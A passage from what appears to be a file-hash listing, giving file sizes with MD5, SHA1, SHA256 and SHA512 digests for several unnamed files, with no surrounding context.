SHA5125a8cc13a0b72674ff00c7ef099d93d2fbe7e0fab7a0d861c7913eb1d934da95deba0ccfbb3ea08905fcefc86fdc7b6c349852662c8d48b68dfcc97349e6f57c8
-
Filesize
108KB
MD5ab9040d53651bbd37eb1b368a1566a11
SHA13ffdf65370e6c3ac978ce0ab57059db19d1abe73
SHA2562b537b30971bfec66e385657a45e87bfa1e8527428266bf586dd4b0b5c2cb087
SHA5124c225fc958a7ba421bd228958f4c836764c08ac788718e8e59cd71f6a1fffae07e40bacc06de31ea17fa834055b6cf3e05f923e7a35d3a3e22bcd07f273f7636
-
Filesize
119KB
MD55b130c2882caff24d8c424fef7cc16a1
SHA1f30caf429fc6e67b28a323d6e2737bc8c06dfd9a
SHA256e5333d9afd0b5a9ed76685f112a1278db0454254520e4fa21f3954cec00bf8ff
SHA512ee7f89ed03869dec7ccaa028559be442db4a55e301b04734dd93687c5317517c3f01285593668ef151cf1bd05472dc65547b4c928eb2e04c3c002a1d1780df65
-
Filesize
260KB
MD5c007acba69780f35e22d736f6e63b786
SHA1849088016016a623fb29bd045a662dcca6047cbb
SHA256bc12090695d5f1cfe423f641987dfd269e018810bfad8ff265ff59ed8ba0dd7f
SHA51229a007cc329ff4a5bbb3ad00bb49bd60c402b56d5db7a40064ea3d37dbf706b3d2c114a893af970bb98ae61f964d9e0fcef065149f2a3af37b6d095add115daa
-
Filesize
2KB
MD5f99e42cdd8b2f9f1a3c062fe9cf6e131
SHA1e32bdcab8da0e3cdafb6e3876763cee002ab7307
SHA256a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0
SHA512c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6
-
Filesize
652B
MD57454e6bf19c0fe7df59532f9e36ab07c
SHA1e61004f4631d423ad66fcbb81bee70e590c53b6e
SHA2560a775d8208cce685865812a119b5d1174852f3e8e21d6ba5be59c2c1febd754b
SHA5127681fa896ba2e6847a6b3d07ae126bb3b26d0ab92da61a1291e03739196fdf57d1b61ed00bb425be9161c3ce1fa8afc102d5058a900b36bfd31596e0b67cacf5
-
Filesize
1004B
MD5c76055a0388b713a1eabe16130684dc3
SHA1ee11e84cf41d8a43340f7102e17660072906c402
SHA2568a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
SHA51222d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2
-
Filesize
607B
MD58e0c6917e11cac9cf3e26b1ca25e7f95
SHA1a75dd93cec7de1d934219a83adde49690e0c120e
SHA256c651fe2cec64c11cca533ed530f5007204b0c4d84239779a677caa27d7920dbd
SHA51263c0690c5a4de08daaf9513bef3fe0964ecd84c471ea50b31cee295d826721101c1351fcf5b9edcd2a1b7fd6618fb942bb20ddec699b870e810e4d10bb600acc